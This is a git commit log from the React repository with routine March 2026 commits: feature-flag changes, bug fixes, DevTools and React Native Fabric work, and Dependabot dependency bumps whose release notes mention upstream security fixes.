Jack Pope
3cb2c42013 Add ReactFeatureFlags support to eprh (#35951)
We're currently hardcoding experimental options to
`eslint-plugin-react-hooks`. This blocks the release on features that
might not be ready.

This PR extends the ReactFeatureFlag infra to support flags for
`eslint-plugin-react-hooks`. An alternative would be to create a
separate flag system for build tools, but for now we have a small number
of these and reusing existing infra seems like the simplest approach.

I ran a full `yarn build` and checked the output resolved the flag
values as expected:


_build/oss-stable-semver/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js_
```js
var eprh_enableUseKeyedStateCompilerLint = false;
var eprh_enableVerboseNoSetStateInEffectCompilerLint = false;
var eprh_enableExhaustiveEffectDependenciesCompilerLint = 'off';
```


_build/facebook-www/ESLintPluginReactHooks-dev.classic.js_

```js
var eprh_enableUseKeyedStateCompilerLint = true;
var eprh_enableVerboseNoSetStateInEffectCompilerLint = true;
var eprh_enableExhaustiveEffectDependenciesCompilerLint = 'extra-only';
```

---------

Co-authored-by: lauren <lauren@anysphere.co>
2026-03-24 23:13:27 -07:00
Rahul salunke
c0c29e8906 Fix typos in the documentation (#35439)
<!--
  Thanks for submitting a pull request!
We appreciate you spending the time to work on these changes. Please
provide enough information so that others can review your pull request.
The three fields below are mandatory.

Before submitting a pull request, please make sure the following is
done:

1. Fork [the repository](https://github.com/facebook/react) and create
your branch from `main`.
  2. Run `yarn` in the repository root.
3. If you've fixed a bug or added code that should be tested, add tests!
4. Ensure the test suite passes (`yarn test`). Tip: `yarn test --watch
TestName` is helpful in development.
5. Run `yarn test --prod` to test in the production environment. It
supports the same options as `yarn test`.
6. If you need a debugger, run `yarn test --debug --watch TestName`,
open `chrome://inspect`, and press "Inspect".
7. Format your code with
[prettier](https://github.com/prettier/prettier) (`yarn prettier`).
8. Make sure your code lints (`yarn lint`). Tip: `yarn linc` to only
check changed files.
  9. Run the [Flow](https://flowtype.org/) type checks (`yarn flow`).
  10. If you haven't already, complete the CLA.

Learn more about contributing:
https://reactjs.org/docs/how-to-contribute.html
-->

## Summary

<!--
Explain the **motivation** for making this change. What existing problem
does the pull request solve?
-->
So in this PR the typo mistakes in the docs are corrected such as the 
1. **Ie** it should be **"i.e"**.
2. **errros** should be the **"errors"**.
3. **consdier** should be the **"consider"**.
4. **CreatFrom** should be **"CreateForm"**.


## How did you test this change?

<!--
Demonstrate the code is solid. Example: The exact commands you ran and
their output, screenshots / videos if the pull request changes the user
interface.
How exactly did you verify that your PR solves the issue you wanted to
solve?
  If you leave this empty, your PR will very likely be closed.
-->
I verified the fixes by reviewing the updated files locally to ensure
the corrected terms appear consistently and accurately in the
documentation.

---------

Co-authored-by: Yummy_Bacon5 <68166338+YummyBacon5@users.noreply.github.com>
2026-03-24 16:09:59 -07:00
dan
c0d218f0f3 Fix useDeferredValue getting stuck (#36134)
Fixes https://github.com/facebook/react/issues/35821

Written/debugged by Claude.

## Test Plan

- Verify undoing the source fix fails the newly added test
- Verify building a bundle with the fix solves
https://github.com/gaearon/react-udv-bug/ repro
2026-03-24 00:49:05 +00:00
Ruslan Lesiutin
ed69815ceb [DevTools] feat: display subtree for Activity and dim in hidden mode (#36094)
With this change, Components panel will display subtree of the Activity.
When it is in hidden mode, the subtree will be dimmed.

Added Jest tests and a sandbox case to `react-devtools-shell`.

Demo:


https://github.com/user-attachments/assets/69a2e8d6-585d-4fcd-b57e-e9ae06d0a1b3
2026-03-23 14:29:38 +00:00
Ruslan Lesiutin
8b2e903a74 [DevTools] chore: extract getInternalReactConstants (#35986)
The test is quite naive, but worth having as additional check for
changes in this logic.
2026-03-20 14:17:15 +00:00
Zeya Peng
6a04c369f1 Enables Basic View Transition support for React Native Fabric renderer (#35764)
## Summary

Enables Basic View Transition support for React Native Fabric renderer.

**Implemented:**
- Added FabricUIManager bindings for view transition methods:
`applyViewTransitionName`, `startViewTransition`
- Implemented `startViewTransition` with proper callback orchestration
(mutation → layout → afterMutation → spawnedWork → passive)
- Added fallback behavior that flushes work synchronously when Fabric's
`startViewTransition` returns null (e.g., when the ViewTransition
ReactNativeFeatureFlag is not enabled)
- Added Flow type declarations for new FabricUIManager methods
- Stubbed with `__DEV__` warnings for all the other view transition
config functions that are not yet implemented

This allows React Native apps using Fabric to leverage the View
Transition API for coordinated animations during state transitions, with
graceful degradation when the native side doesn't support it.

Below are diagrams of proposed architecture in fabric, and observation
of what/when config functions get called during a basic shared
transition example

<img width="2290" height="1529" alt="Untitled-2026-03-19-1240"
src="https://github.com/user-attachments/assets/192c9169-bc25-449c-a33b-dfec67179e7f"
/>

## How did you test this change?

- [x] `yarn flow fabric` - Flow type checks pass
- [x] `yarn lint` - Lint checks pass
- [x] Manually tested in Android catalyst app with
`enableViewTransition` and `enableViewTransitionForPersistenceMode `in
`ReactFeatureFlags.test-renderer.native-fb.js` and View Transition
enabled via ReactNativeFeatureFlag
- [x] Verified in the minified `ReactFabric-dev.fb.js` that the 'shim'
config functions are not included
- [x] Verified fallback behavior logs warning in `__DEV__` and flushes
work synchronously when ViewTransition flag isn't enabled in Fabric
2026-03-19 17:58:29 -04:00
Jack Pope
d594643e5e Turn on enableViewTransition for RN FB build (#36106)
Its now enabled everywhere other than keeping it dynamic in www
2026-03-19 14:51:37 -04:00
Ruslan Lesiutin
b4546cd0d4 [enableInfiniteRenderLoopDetection] Warn about potential infinite loop, instead of interrupting (#35999)
The `enableInfiniteRenderLoopDetection` feature flag is currently
disabled everywhere. When attempted to roll out this at Meta, we've
observed multiple false-positives, where counter-based approach would
interrupt the render that would've resolved at some later iteration.

This change gates the scenarios that are only discovered with the
instrumentation behind `enableInfiniteRenderLoopDetection` flag to warn
about potential infinite loop, instead of throwing an error and hitting
an error boundary. The main reason is to see if we can a signal on which
possible area of scenarios this new approach to infinite loops covers.

The gist of the approach is to ensure that we are still throwing error
and breaking the infinite loop, if we were doing this without
`enableInfiniteRenderLoopDetection` feature flag enabled.

This will log multiple errors if there is an infinite loop, but this
should be fine, and it also aligns with the pattern for warnings about
passive effects infinite loop.

I've validated that tests in `ReactUpdates-test.js` are passing
independently whether the feature flag is enabled or not.
2026-03-18 14:11:30 +00:00
Kid
3f0b9e61c4 Update CSS shorthand property list (#35636) 2026-03-17 14:54:06 +01:00
Sebastian "Sebbie" Silbermann
12ba7d8129 [Flight Reply] Early bailout if backing entry for Blob deserialization is not a Blob (#36055)
Co-authored-by: Hendrik Liebau <mail@hendrik-liebau.de>
2026-03-17 11:50:27 +01:00
Jack Pope
c80a075095 Fix focus set for delegated and already focused elements (#36010)
I found two focus bugs when working on documentation for Fragment Refs.

1) If an element delegates focus handling, it will return false from
setFocusIfFocusable even though a focus event has occured on a different
element. The fix for this is a document level event listener rather than
only listening on the current element.

For example, if you have a form with multiple nested label>inputs.
Calling focus on the label will focus its input but not fire an event on
the label. setFocusIfFocusable returns false and you end up continuing
to attempt focus down the form tree.

2) If an element is already focused, setFocusIfFocusable will return
false. The fix for this is checking the document's activeElement with an
early return.

In the same form example, if the first input is already focused and you
call fragmentInstance.focus() at the form level, the second input would
end up getting focused since the focus event on the first is not
triggered.
2026-03-12 14:36:28 -07:00
Ruslan Lesiutin
8f41506054 [DevTools] fix: don't show empty suspended by section (#36011)
The potential paddings and margins for the empty block are already
handled via CSS selectors.
2026-03-12 14:19:21 -07:00
Hendrik Liebau
5e9eedb578 [Flight] Clear chunk reason after successful module initialization (#36024)
When `requireModule` triggers a reentrant `readChunk` on the same module
chunk, the reentrant call can fail and set `chunk.reason` to an error.
After the outer `requireModule` succeeds, the chunk transitions to
initialized but retains the stale error as `reason`.

When the Flight response stream later closes, it iterates all chunks and
expects `reason` on initialized chunks to be a `FlightStreamController`.
Since the stale `reason` is an `Error` object instead, calling
`chunk.reason.error()` crashes with `TypeError: chunk.reason.error is
not a function`.

The reentrancy can occur when module evaluation synchronously triggers
`readChunk` on the same chunk — for example, when code called during
evaluation tries to resolve the client reference for the module that is
currently being initialized. In Fizz SSR, `captureOwnerStack()` can
trigger this because it constructs component stacks that resolve lazy
client references via `readChunk`. The reentrant `requireModule` call
returns the module's namespace object, but since the module is still
being evaluated, accessing the export binding throws a TDZ (Temporal
Dead Zone) `ReferenceError`. This sets the chunk to the errored state,
and the `ReferenceError` becomes the stale `chunk.reason` after the
outer call succeeds.

This scenario is triggered in Next.js when a client module calls an
instrumented API like `Math.random()` in module scope, which
synchronously invokes `captureOwnerStack()`.
2026-03-12 19:17:24 +01:00
Jack Pope
1e3152365d Enable Fragment Ref flags across builds (#36026) 2026-03-12 10:07:06 -07:00
dependabot[bot]
a74302c02d Bump undici from 6.21.2 to 6.23.0 in /compiler (#35512)
Bumps [undici](https://github.com/nodejs/undici) from 6.21.2 to 6.23.0.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/nodejs/undici/releases">undici's
releases</a>.</em></p>
<blockquote>
<h2>v6.23.0</h2>
<h2>⚠️ Security Release</h2>
<p>This fixes <a
href="https://github.com/nodejs/undici/security/advisories/GHSA-g9mf-h72j-4rw9">https://github.com/nodejs/undici/security/advisories/GHSA-g9mf-h72j-4rw9</a>
and CVE-2026-22036.</p>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/nodejs/undici/compare/v6.22.0...v6.23.0">https://github.com/nodejs/undici/compare/v6.22.0...v6.23.0</a></p>
<h2>v6.22.0</h2>
<h2>What's Changed</h2>
<ul>
<li>fix: fix wrong stream canceled up after cloning (v6) by <a
href="https://github.com/snyamathi"><code>@​snyamathi</code></a> in <a
href="https://redirect.github.com/nodejs/undici/pull/4414">nodejs/undici#4414</a></li>
<li>[Backport v6.x] fix: fix EnvHttpProxyAgent for the Node.js bundle by
<a
href="https://github.com/github-actions"><code>@​github-actions</code></a>[bot]
in <a
href="https://redirect.github.com/nodejs/undici/pull/4432">nodejs/undici#4432</a></li>
<li>feat(ProxyAgent): match Curl behavior in HTTP-&gt;HTTP Proxy
connections (<a
href="https://redirect.github.com/nodejs/undici/issues/4180">#4180</a>)
by <a href="https://github.com/metcoder95"><code>@​metcoder95</code></a>
in <a
href="https://redirect.github.com/nodejs/undici/pull/4433">nodejs/undici#4433</a></li>
<li>feat(ProxyAgent) improve Curl-y behavior in HTTP-&gt;HTTP Proxy
connections (<a
href="https://redirect.github.com/nodejs/undici/issues/4180">#4180</a>)
(<a
href="https://redirect.github.com/nodejs/undici/issues/4340">#4340</a>)
by <a href="https://github.com/metcoder95"><code>@​metcoder95</code></a>
in <a
href="https://redirect.github.com/nodejs/undici/pull/4445">nodejs/undici#4445</a></li>
<li>Backport 4472 to v6.x by <a
href="https://github.com/Uzlopak"><code>@​Uzlopak</code></a> in <a
href="https://redirect.github.com/nodejs/undici/pull/4480">nodejs/undici#4480</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/nodejs/undici/compare/v6.21.3...v6.22.0">https://github.com/nodejs/undici/compare/v6.21.3...v6.22.0</a></p>
<h2>v6.21.3</h2>
<h2>What's Changed</h2>
<ul>
<li>[Backport v6.x] append crlf to formdata body by <a
href="https://github.com/github-actions"><code>@​github-actions</code></a>
in <a
href="https://redirect.github.com/nodejs/undici/pull/4210">nodejs/undici#4210</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/nodejs/undici/compare/v6.21.2...v6.21.3">https://github.com/nodejs/undici/compare/v6.21.2...v6.21.3</a></p>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="fbc31e21d7"><code>fbc31e2</code></a>
Bumped v6.23.0</li>
<li><a
href="3477c948c3"><code>3477c94</code></a>
chore: release flow using provenance</li>
<li><a
href="d3aafea7a2"><code>d3aafea</code></a>
fix: limit Content-Encoding chain to 5 to prevent resource
exhaustion</li>
<li><a
href="f9c91853e7"><code>f9c9185</code></a>
Bumped v6.22.0</li>
<li><a
href="f670f2a279"><code>f670f2a</code></a>
feat: make UndiciErrors reliable to instanceof (<a
href="https://redirect.github.com/nodejs/undici/issues/4472">#4472</a>)
(<a
href="https://redirect.github.com/nodejs/undici/issues/4480">#4480</a>)</li>
<li><a
href="422e397718"><code>422e397</code></a>
feat(ProxyAgent) improve Curl-y behavior in HTTP-&gt;HTTP Proxy
connections (<a
href="https://redirect.github.com/nodejs/undici/issues/41">#41</a>...</li>
<li><a
href="4a06ffe61f"><code>4a06ffe</code></a>
feat(ProxyAgent): match Curl behavior in HTTP-&gt;HTTP Proxy connections
(<a
href="https://redirect.github.com/nodejs/undici/issues/4180">#4180</a>)...</li>
<li><a
href="4cb397400e"><code>4cb3974</code></a>
fix: fix EnvHttpProxyAgent for the Node.js bundle (<a
href="https://redirect.github.com/nodejs/undici/issues/4064">#4064</a>)
(<a
href="https://redirect.github.com/nodejs/undici/issues/4432">#4432</a>)</li>
<li><a
href="44c23e5e16"><code>44c23e5</code></a>
fix: fix wrong stream canceled up after cloning (v6) (<a
href="https://redirect.github.com/nodejs/undici/issues/4414">#4414</a>)</li>
<li><a
href="da0e823ac0"><code>da0e823</code></a>
Bumped v6.21.4</li>
<li>Additional commits viewable in <a
href="https://github.com/nodejs/undici/compare/v6.21.2...v6.23.0">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by [GitHub Actions](<a
href="https://www.npmjs.com/~GitHub">https://www.npmjs.com/~GitHub</a>
Actions), a new releaser for undici since your current version.</p>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=undici&package-manager=npm_and_yarn&previous-version=6.21.2&new-version=6.23.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/facebook/react/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-12 08:40:37 -07:00
dependabot[bot]
bae6dd09fb Bump qs from 6.4.0 to 6.4.1 in /fixtures/packaging/webpack-alias/dev (#35505)
Bumps [qs](https://github.com/ljharb/qs) from 6.4.0 to 6.4.1.
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/ljharb/qs/blob/main/CHANGELOG.md">qs's
changelog</a>.</em></p>
<blockquote>
<h2><strong>6.4.1</strong></h2>
<ul>
<li>[Fix] <code>parse</code>: ignore <code>__proto__</code> keys (<a
href="https://redirect.github.com/ljharb/qs/issues/428">#428</a>)</li>
<li>[Fix] fix for an impossible situation: when the formatter is called
with a non-string value</li>
<li>[Fix] use <code>safer-buffer</code> instead of <code>Buffer</code>
constructor</li>
<li>[Fix] <code>utils.merge</code>: avoid a crash with a null target and
an array source</li>
<li>[Fix] <code>utils.merge</code>: avoid a crash with a null target and
a truthy non-array source</li>
<li>[Fix] <code>stringify</code>: fix a crash with
<code>strictNullHandling</code> and a custom
<code>filter</code>/<code>serializeDate</code> (<a
href="https://redirect.github.com/ljharb/qs/issues/279">#279</a>)</li>
<li>[Fix] <code>utils</code>: <code>merge</code>: fix crash when
<code>source</code> is a truthy primitive &amp; no options are
provided</li>
<li>[Fix] when <code>parseArrays</code> is false, properly handle keys
ending in <code>[]</code></li>
<li>[Robustness] <code>stringify</code>: avoid relying on a global
<code>undefined</code> (<a
href="https://redirect.github.com/ljharb/qs/issues/427">#427</a>)</li>
<li>[Refactor] use cached <code>Array.isArray</code></li>
<li>[Refactor] <code>stringify</code>: Avoid arr = arr.concat(...), push
to the existing instance (<a
href="https://redirect.github.com/ljharb/qs/issues/269">#269</a>)</li>
<li>[readme] remove travis badge; add github actions/codecov badges;
update URLs</li>
<li>[Docs] Clarify the need for &quot;arrayLimit&quot; option</li>
<li>[meta] fix README.md (<a
href="https://redirect.github.com/ljharb/qs/issues/399">#399</a>)</li>
<li>[meta] Clean up license text so it’s properly detected as
BSD-3-Clause</li>
<li>[meta] add FUNDING.yml</li>
<li>[actions] backport actions from main</li>
<li>[Tests] remove nonexistent tape option</li>
<li>[Dev Deps] backport from main</li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="486aa46547"><code>486aa46</code></a>
v6.4.1</li>
<li><a
href="727ef5d346"><code>727ef5d</code></a>
[Fix] <code>parse</code>: ignore <code>__proto__</code> keys (<a
href="https://redirect.github.com/ljharb/qs/issues/428">#428</a>)</li>
<li><a
href="cd1874eb17"><code>cd1874e</code></a>
[Robustness] <code>stringify</code>: avoid relying on a global
<code>undefined</code> (<a
href="https://redirect.github.com/ljharb/qs/issues/427">#427</a>)</li>
<li><a
href="45e987c603"><code>45e987c</code></a>
[readme] remove travis badge; add github actions/codecov badges; update
URLs</li>
<li><a
href="90a3bced51"><code>90a3bce</code></a>
[meta] fix README.md (<a
href="https://redirect.github.com/ljharb/qs/issues/399">#399</a>)</li>
<li><a
href="9566d25019"><code>9566d25</code></a>
[Fix] fix for an impossible situation: when the formatter is called with
a no...</li>
<li><a
href="74227ef022"><code>74227ef</code></a>
Clean up license text so it’s properly detected as BSD-3-Clause</li>
<li><a
href="35dfb227e2"><code>35dfb22</code></a>
[actions] backport actions from main</li>
<li><a
href="7d4670fca6"><code>7d4670f</code></a>
[Dev Deps] backport from main</li>
<li><a
href="0485440902"><code>0485440</code></a>
[Fix] use <code>safer-buffer</code> instead of <code>Buffer</code>
constructor</li>
<li>Additional commits viewable in <a
href="https://github.com/ljharb/qs/compare/v6.4.0...v6.4.1">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=qs&package-manager=npm_and_yarn&previous-version=6.4.0&new-version=6.4.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/facebook/react/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-12 08:40:22 -07:00
dependabot[bot]
96005e445c Bump qs from 6.4.0 to 6.4.1 in /fixtures/packaging/webpack/prod (#35432)
Bumps [qs](https://github.com/ljharb/qs) from 6.4.0 to 6.4.1.
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/ljharb/qs/blob/main/CHANGELOG.md">qs's
changelog</a>.</em></p>
<blockquote>
<h2><strong>6.4.1</strong></h2>
<ul>
<li>[Fix] <code>parse</code>: ignore <code>__proto__</code> keys (<a
href="https://redirect.github.com/ljharb/qs/issues/428">#428</a>)</li>
<li>[Fix] fix for an impossible situation: when the formatter is called
with a non-string value</li>
<li>[Fix] use <code>safer-buffer</code> instead of <code>Buffer</code>
constructor</li>
<li>[Fix] <code>utils.merge</code>: avoid a crash with a null target and
an array source</li>
<li>[Fix] <code>utils.merge</code>: avoid a crash with a null target and
a truthy non-array source</li>
<li>[Fix] <code>stringify</code>: fix a crash with
<code>strictNullHandling</code> and a custom
<code>filter</code>/<code>serializeDate</code> (<a
href="https://redirect.github.com/ljharb/qs/issues/279">#279</a>)</li>
<li>[Fix] <code>utils</code>: <code>merge</code>: fix crash when
<code>source</code> is a truthy primitive &amp; no options are
provided</li>
<li>[Fix] when <code>parseArrays</code> is false, properly handle keys
ending in <code>[]</code></li>
<li>[Robustness] <code>stringify</code>: avoid relying on a global
<code>undefined</code> (<a
href="https://redirect.github.com/ljharb/qs/issues/427">#427</a>)</li>
<li>[Refactor] use cached <code>Array.isArray</code></li>
<li>[Refactor] <code>stringify</code>: Avoid arr = arr.concat(...), push
to the existing instance (<a
href="https://redirect.github.com/ljharb/qs/issues/269">#269</a>)</li>
<li>[readme] remove travis badge; add github actions/codecov badges;
update URLs</li>
<li>[Docs] Clarify the need for &quot;arrayLimit&quot; option</li>
<li>[meta] fix README.md (<a
href="https://redirect.github.com/ljharb/qs/issues/399">#399</a>)</li>
<li>[meta] Clean up license text so it’s properly detected as
BSD-3-Clause</li>
<li>[meta] add FUNDING.yml</li>
<li>[actions] backport actions from main</li>
<li>[Tests] remove nonexistent tape option</li>
<li>[Dev Deps] backport from main</li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="486aa46547"><code>486aa46</code></a>
v6.4.1</li>
<li><a
href="727ef5d346"><code>727ef5d</code></a>
[Fix] <code>parse</code>: ignore <code>__proto__</code> keys (<a
href="https://redirect.github.com/ljharb/qs/issues/428">#428</a>)</li>
<li><a
href="cd1874eb17"><code>cd1874e</code></a>
[Robustness] <code>stringify</code>: avoid relying on a global
<code>undefined</code> (<a
href="https://redirect.github.com/ljharb/qs/issues/427">#427</a>)</li>
<li><a
href="45e987c603"><code>45e987c</code></a>
[readme] remove travis badge; add github actions/codecov badges; update
URLs</li>
<li><a
href="90a3bced51"><code>90a3bce</code></a>
[meta] fix README.md (<a
href="https://redirect.github.com/ljharb/qs/issues/399">#399</a>)</li>
<li><a
href="9566d25019"><code>9566d25</code></a>
[Fix] fix for an impossible situation: when the formatter is called with
a no...</li>
<li><a
href="74227ef022"><code>74227ef</code></a>
Clean up license text so it’s properly detected as BSD-3-Clause</li>
<li><a
href="35dfb227e2"><code>35dfb22</code></a>
[actions] backport actions from main</li>
<li><a
href="7d4670fca6"><code>7d4670f</code></a>
[Dev Deps] backport from main</li>
<li><a
href="0485440902"><code>0485440</code></a>
[Fix] use <code>safer-buffer</code> instead of <code>Buffer</code>
constructor</li>
<li>Additional commits viewable in <a
href="https://github.com/ljharb/qs/compare/v6.4.0...v6.4.1">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=qs&package-manager=npm_and_yarn&previous-version=6.4.0&new-version=6.4.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/facebook/react/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-12 08:38:41 -07:00
dependabot[bot]
b5f0178794 Bump jws from 3.2.2 to 3.2.3 (#35373)
Bumps [jws](https://github.com/brianloveswords/node-jws) from 3.2.2 to
3.2.3.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/brianloveswords/node-jws/releases">jws's
releases</a>.</em></p>
<blockquote>
<h2>v3.2.3</h2>
<h3>Changed</h3>
<ul>
<li>Fix advisory GHSA-869p-cjfg-cm3x: createSign and createVerify now
require
that a non empty secret is provided (via opts.secret, opts.privateKey or
opts.key)
when using HMAC algorithms.</li>
<li>Upgrading JWA version to 1.4.2, addressing a compatibility issue for
Node &gt;= 25.</li>
</ul>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/auth0/node-jws/blob/master/CHANGELOG.md">jws's
changelog</a>.</em></p>
<blockquote>
<h2>[3.2.3]</h2>
<h3>Changed</h3>
<ul>
<li>Fix advisory GHSA-869p-cjfg-cm3x: createSign and createVerify now
require
that a non empty secret is provided (via opts.secret, opts.privateKey or
opts.key)
when using HMAC algorithms.</li>
<li>Upgrading JWA version to 1.4.2, adressing a compatibility issue for
Node &gt;= 25.</li>
</ul>
<h2>[3.0.0]</h2>
<h3>Changed</h3>
<ul>
<li><strong>BREAKING</strong>: <code>jwt.verify</code> now requires an
<code>algorithm</code> parameter, and
<code>jws.createVerify</code> requires an <code>algorithm</code> option.
The <code>&quot;alg&quot;</code> field
signature headers is ignored. This mitigates a critical security flaw
in the library which would allow an attacker to generate signatures with
arbitrary contents that would be accepted by <code>jwt.verify</code>.
See
<a
href="https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/">https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/</a>
for details.</li>
</ul>
<h2><a
href="https://github.com/brianloveswords/node-jws/compare/v1.0.1...v2.0.0">2.0.0</a>
- 2015-01-30</h2>
<h3>Changed</h3>
<ul>
<li>
<p><strong>BREAKING</strong>: Default payload encoding changed from
<code>binary</code> to
<code>utf8</code>. <code>utf8</code> is a is a more sensible default
than <code>binary</code> because
many payloads, as far as I can tell, will contain user-facing
strings that could be in any language. (<!-- raw HTML omitted --><a
href="https://github.com/brianloveswords/node-jws/commit/6b6de48">6b6de48</a><!--
raw HTML omitted -->)</p>
</li>
<li>
<p>Code reorganization, thanks <a
href="https://github.com/fearphage"><code>@​fearphage</code></a>! (<!--
raw HTML omitted --><a
href="https://github.com/brianloveswords/node-jws/commit/7880050">7880050</a><!--
raw HTML omitted -->)</p>
</li>
</ul>
<h3>Added</h3>
<ul>
<li>Option in all relevant methods for <code>encoding</code>. For those
few users
that might be depending on a <code>binary</code> encoding of the
messages, this
is for them. (<!-- raw HTML omitted --><a
href="https://github.com/brianloveswords/node-jws/commit/6b6de48">6b6de48</a><!--
raw HTML omitted -->)</li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="4f6e73f24d"><code>4f6e73f</code></a>
Merge commit from fork</li>
<li><a
href="bd0fea57f3"><code>bd0fea5</code></a>
version 3.2.3</li>
<li><a
href="7c3b4b4110"><code>7c3b4b4</code></a>
Enhance tests for HMAC streaming sign and verify</li>
<li><a
href="a9b8ed999d"><code>a9b8ed9</code></a>
Improve secretOrKey initialization in VerifyStream</li>
<li><a
href="6707fde62c"><code>6707fde</code></a>
Improve secret handling in SignStream</li>
<li>See full diff in <a
href="https://github.com/brianloveswords/node-jws/compare/v3.2.2...v3.2.3">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by <a
href="https://www.npmjs.com/~julien.wollscheid">julien.wollscheid</a>, a
new releaser for jws since your current version.</p>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=jws&package-manager=npm_and_yarn&previous-version=3.2.2&new-version=3.2.3)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
